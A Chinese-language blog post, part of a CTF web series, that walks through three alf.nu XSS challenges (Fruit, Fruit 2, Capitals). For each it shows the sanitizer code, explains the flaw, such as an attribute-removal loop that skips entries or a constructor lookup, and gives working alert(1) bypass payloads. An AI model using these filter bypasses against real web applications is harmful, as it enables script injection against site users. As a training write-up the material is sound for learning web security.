iT邦幫忙

2021 iThome 鐵人賽

DAY 27
0

Q1. XSS Lab(2)-5

題目:https://alf.nu/alert1

  1. Fruit

    • 題目:

      // CVE-2016-4618
      function escape(s) {
        var div = document.implementation.createHTMLDocument().createElement('div');
        div.innerHTML = s;
        function f(n) {
          if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n);
          for (var i=0; i<n.attributes.length; i++) {
            var name = n.attributes[i].name;
            if (name !== 'class') { n.removeAttribute(name); }
          }
        }
        [].map.call(div.querySelectorAll('*'), f);
        return div.innerHTML;
      }
      
      • 根據題目:
        • 如果存在 script 元素,該元素會被刪除。
        • 如果任一元素存在 class 以外的屬性,則該屬性會被刪除。
    • 解題:

      • 本題是設計邏輯上的失誤,由於刪除屬性時, i 依然會 +1 ,這導致每刪除一個屬性,就會跳過一個屬性。
        https://ithelp.ithome.com.tw/upload/images/20211011/2014059252XTUYrUX6.png

      • 如此一來,只需要將所需屬性放在奇數位置即可。

    • ANS: <iframe baba onload=alert(1)>

  2. Fruit 2

    • 題目:

      // CVE-2016-7650
      function escape(s) {
        var div = document.implementation.createHTMLDocument().createElement('div');
        div.innerHTML = s;
        function f(n) {
          if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
          for (var i=0; i<n.attributes.length; i++) {
            var name = n.attributes[i].name;
            if (name !== 'class') { n.removeAttribute(name); }
          }
        }
        [].map.call(div.querySelectorAll('*'), f);
        return div.innerHTML;
      }
      
    • 解法:

      • 同上題
    • ANS: <iframe baba onload=alert(1)>

  3. Capitals

    • 題目:
    function escape(s) {
      var capitals = {
        "CA": {
          "AB": "Edmonton",
          "BC": "Victoria",
          "MB": "Winnipeg",
          // etc.
        },
        "US": {
          // Alabama changed its state capital.
          "AL": ((year) => year < 1846 ? "Tuscaloosa" : "Montgomery"),
          "AK": "Juneau",
          "AR": "Phoenix",
          // etc.
        },
      };
    
      function capitalOf(country, stateOrProvinceName, year) {
        var capital = capitals[country][stateOrProvinceName];
        if (typeof capital === 'function') {
          capital = capital(year);
        }
        return capital
      }
    
      var inputs = (s || "").split(/#/g);
      return '<b>'+capitalOf(inputs[0], inputs[1], inputs[2])+'</b>';
    }
    
    • JS 所有東西都是 object,就像 US:{....} 他也是一個 object,object 內建有一個 constructor,當你使用 ["US"]["constructor"] type 就會變成 function
      • 正常輸入&輸出
        • 輸入 CA#AB#1933
        • 輸出 Edmonton
          https://ithelp.ithome.com.tw/upload/images/20211011/201405922Ips5EdYVs.png
    • 滿足 if (typeof capital === 'function') 就會回傳 capital(year),而 object 形式是當你輸入什麼,則會回傳符合形式的資料給你,所以在第二個 # 後面塞入 alert(1) 即可完成此題
      • 企圖塞入腳本
        • 輸入 CA#constructor#任意字串
        • 輸出 任意字串(此時你就可以使用 閉合,並且 alert(1)
          https://ithelp.ithome.com.tw/upload/images/20211011/20140592rvAzr2pW3D.png
    • ANS
      • CA#constructor#</b><script>alert(1)</script>
      • US#constructor#</b><script>alert(1)</script>

上一篇
【第二十六天 - XSS Lab(2)-4】
下一篇
【第二十八天 - XSS Lab(2)-6】
系列文
【CTF衝衝衝 - Web篇】30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言